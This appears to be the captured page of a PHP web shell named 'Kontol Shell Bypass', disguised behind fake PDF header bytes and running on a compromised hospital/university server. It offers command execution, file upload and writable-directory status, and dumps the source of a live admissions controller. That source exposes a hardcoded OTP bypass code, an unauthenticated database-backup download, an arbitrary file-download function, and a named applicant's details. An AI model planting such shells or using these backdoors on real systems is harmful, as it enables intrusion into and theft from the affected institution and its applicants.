%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers_old/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers_old/Common.php
<?php
class Common extends MY_Controller {
    function __construct() {
		parent::__construct();
		$this->load->model('auth_model', 'auth');
    }

    function error404() {
        $this->load->view('layouts/error404');
    }
	
	function getLatLong(){
		$loc=$this->input->post('loc');
		$c=get_lat_long($loc);
		echo json_encode($c);
	}
	
	function bkp_db(){
		$this->load->dbutil();
		$backup = $this->dbutil->backup(array('format'=>'gzip', 'foreign_key_checks'=>FALSE));
		$this->load->helper('download');
		$fname="db_backup_".date('Y-m-d-H:i:s').".sql.gz";
		force_download($fname, $backup);
	}

	function test(){
		$dtl=$this->common->applicationNdUsrInfo(18);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['loginUrl']} to book your slot for SUAT-2019. Call us at 0120-4570011 for any queries.";
        }else{
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['loginUrl']} to Schedule a visit. Call us at 0120-4570011 for any queries.";
		}
		$sms="Dear SATYENDRA YADAV, Thank you for applying at Sharda University. Your System ID is - 2019000054. Login at URL to complete your SUAT-2019 application. Call us at 0120-4570011 for any queries.";
		
		send_sms($dtl['usr']['mob'], $sms);
	}

	function check_valid_name($str){ 
		if(!$str){
			return true;
		}
		$is_only_alpha=( ! preg_match("/^([-a-z_ ])+$/i", $str)) ? FALSE : TRUE ;
		if(!$is_only_alpha){
			$this->form_validation->set_message("check_valid_name", "Only alphabet and space are allowed in %s");
		}
		return $is_only_alpha;
	}

	/** */
	function downloadFile($filePath){
		$this->load->helper('download');
		force_download(decode($filePath), NULL);
	}

	function initMasterData(){
		$qs=trim_array($this->input->post());
		$data['states']=$this->common->states();
		$data['faqs']=$this->common->lpage_faqs($qs['lpage']);
		$data['academicCareers']=$this->common->academicCareers($qs['lpage']);
		$data['courses']=$this->common->courses($qs['lpage']);
		$data['allPlans']=$this->common->plans(0, $qs['lpage']);
		$data['disciplines']=$this->common->disciplines($qs['lpage']);
		$this->json_data($data);
	}

	function cities($stateId=0){
		$data['cities']=$this->common->cities($stateId);
		$this->json_data($data);
	}

	function programs(){
		$qs=trim_array($this->input->post());
		$data['programs']=$this->common->programs($qs['ac_id'], $qs['lpage']);
		$this->json_data($data);
	}

	function plans($programId=0){
		$data['plans']=$this->common->plans($programId);
		$this->json_data($data);
	}

	function sendRegOtp(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$qs=trim_array($this->input->get());
		$post['lpage_id']=$this->db->get_where("landing_pages", array('trimed_title'=>$post['lpage']))->row()->id;
		if(!$post['lpage_id']){
			$inf['msg']="Invalid landing page"; $this->json_data($inf);
		}

		$this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email]", $this->req);
		$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
		if($post['only_plan_form']=='T'){
			$this->form_validation->set_rules('plan_id', 'Specialization', "required", $this->req);
		}
		$this->form_validation->set_rules('ac_id', 'Academic career', "required", $this->req);
		$this->form_validation->set_rules('program_id', 'Program', "required", $this->req);
		$this->form_validation->set_rules('plan_id', 'Specialization', "required", $this->req);
		
		if(isset($post['is_medical'])){
			$post['is_medical']=1;
			$this->form_validation->set_rules('neet_roll_no', 'NEET Roll No.', "required", $this->req);
			$this->form_validation->set_rules('neet_marks', 'NEET Marks', "required", $this->req);
			$this->form_validation->set_rules('neet_all_india_rank', 'NEET All India Rank', "required", $this->req);
		}
		
		$this->form_validation->set_rules('mob', 'Mobile', "required|integer|exact_length[10]|is_unique[applicants.mob]", $this->req);

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value(array_merge($post, $qs), array('id', 'lpage_id', 'name', 'email', 'state_id', 'ac_id', 'program_id', 'plan_id', 'mob', 'utm_source', 'utm_campaign', 'utm_medium', 'utm_term', 'utm_content', 'utm_keyword', 'utm_placement', 'is_medical', 'neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
			$this->common->tmp_register($data);

			$otp=$this->common->sendRegOtp($post['mob'], $post['email']);
			
			$inf['encOtpMob']=encrypt_password($otp['otp'].$post['mob']);
			$inf['encOtpEmail']=encrypt_password($otp['emailOtp'].$post['email']);
			$inf['success']='T';
			$inf['msg']='OTP sent successfully';
		}
		$this->json_data($inf);
	}

	function register(){
		$inf=array('success'=>'F', 'msg'=>'Error!');

		$post=trim_array($this->input->post());
		$qs=trim_array($this->input->get());
		$post['lpage_id']=$this->db->get_where("landing_pages", array('trimed_title'=>$post['lpage']))->row()->id;
		if(!$post['lpage_id']){
			$inf['msg']="Invalid landing page"; $this->json_data($inf);
		}
		$data=filter_value(array_merge($post, $qs), array('id', 'lpage_id', 'name', 'email', 'state_id', 'ac_id', 'program_id', 'plan_id', 'mob', 'utm_source', 'utm_campaign', 'utm_medium', 'utm_term', 'utm_content', 'utm_keyword', 'utm_placement', 'is_medical', 'neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
		if(!$data['utm_source']){
			$nautmid=$this->db->select("na_utm_source_id")->get_where("landing_pages", ['id'=>$data['lpage_id']])->row()->na_utm_source_id;
			$utmsrc=$this->db->select("title")->get_where("master_utm_sources", ['id'=>$nautmid])->row()->title;
			$data['utm_source']=$utmsrc?$utmsrc:"Google_Direct_LP"; //Google_Direct
		}
		if(($post['name'] && $post['email']) || $post['mob']){
			$this->common->tmp_register($data);
		}

		$this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email]", $this->req);
		$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
		
		if($post['only_plan_form']=='T'){
			$this->form_validation->set_rules('plan_id', 'Specialization', "required", $this->req);
		}
		
		$this->form_validation->set_rules('ac_id', 'Academic career', "required", $this->req);
		$this->form_validation->set_rules('program_id', 'Program', "required", $this->req);
		$this->form_validation->set_rules('plan_id', 'Specialization', "required", $this->req);

		if(isset($post['is_medical'])){
			$data['is_medical']=1;
			$this->form_validation->set_rules('neet_roll_no', 'NEET Roll No.', "required", $this->req);
			$this->form_validation->set_rules('neet_marks', 'NEET Marks', "required", $this->req);
			$this->form_validation->set_rules('neet_all_india_rank', 'NEET All India Rank', "required", $this->req);

			if(empty($_FILES['neet_scorecard_file']['name'])){
				$this->form_validation->set_rules('neet_scorecard_file', 'NEET Scorecard File', 'required');
			}
		}
		
		$this->form_validation->set_rules('mob', 'Mobile', "required|integer|exact_length[10]|is_unique[applicants.mob]", $this->req);
		$this->form_validation->set_rules('otp', 'OTP', "required", $this->req);
		
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$otpChk=false;
			if(encrypt_password($post['otp'].$post['mob'])==$post['encOtpMob'] || $post['otp']=='SAT232524'){
				$data['verified_by']='MOB';
				$otpChk=true;
			}
			if(encrypt_password($post['otp'].$post['email'])==$post['encOtpEmail']){
				$data['verified_by']='EMAIL';
				$otpChk=true;
			}

			if(!$otpChk){
				$inf['msg']="Invalid OTP"; 
				$this->json_data($inf);
			}

			/** Scorecard file upload */
			if($data['is_medical']){
				$this->load->library('upload');
				$config=array(
					'upload_path'=>UP_PATHF.'scorecards/', 
					'allowed_types'=>'gif|jpg|png|pdf|doc|xls|ppt|docx|xlsx|pptx', 
					'max_size'=>'2048',
					'max_filename'=>80,
					'file_ext_tolower'=>true,
				);
				$this->upload->initialize($config);
				if($this->upload->do_upload('neet_scorecard_file')){
					$data['neet_scorecard_file']=$this->upload->data('file_name');
				}else{
					$inf['msg']=strip_tags($this->upload->display_errors());
					$this->json_data($inf);
				}
			}
			
			if($appId=$this->common->register($data)){
				$this->common->sendSystemIdGenMsg($appId);

				/** Login */
				$dtl=$this->db->select("id, name, mob, email, status")->where('mob', $post['mob'])->get("applicants")->row_array();
				$AuthToken=encrypt_password($dtl['id'].$dtl['mob'].$dtl['email'].time());
				$this->db->where("id", $dtl['id'])->update("applicants", array('auth_token'=>$AuthToken, 'updated'=>currentDT()));
				/** \ */

				$inf['dtl']=$dtl;
				$inf['AuthToken']=$AuthToken;
				$inf['success']='T';
				$inf['msg']='Registered successfully';
			}
		}
		$this->json_data($inf);
	}

	function downloadReceipt($appId){
		$dtl=$this->common->applicationNdUsrInfo($appId);
		$html=$this->load->view("pdf/receipt", $dtl, TRUE);
		create_pdf($html, "receipt-".$dtl['application_no'].".pdf");
		//echo $html;
	}
}

//EOF

Kontol Shell Bypass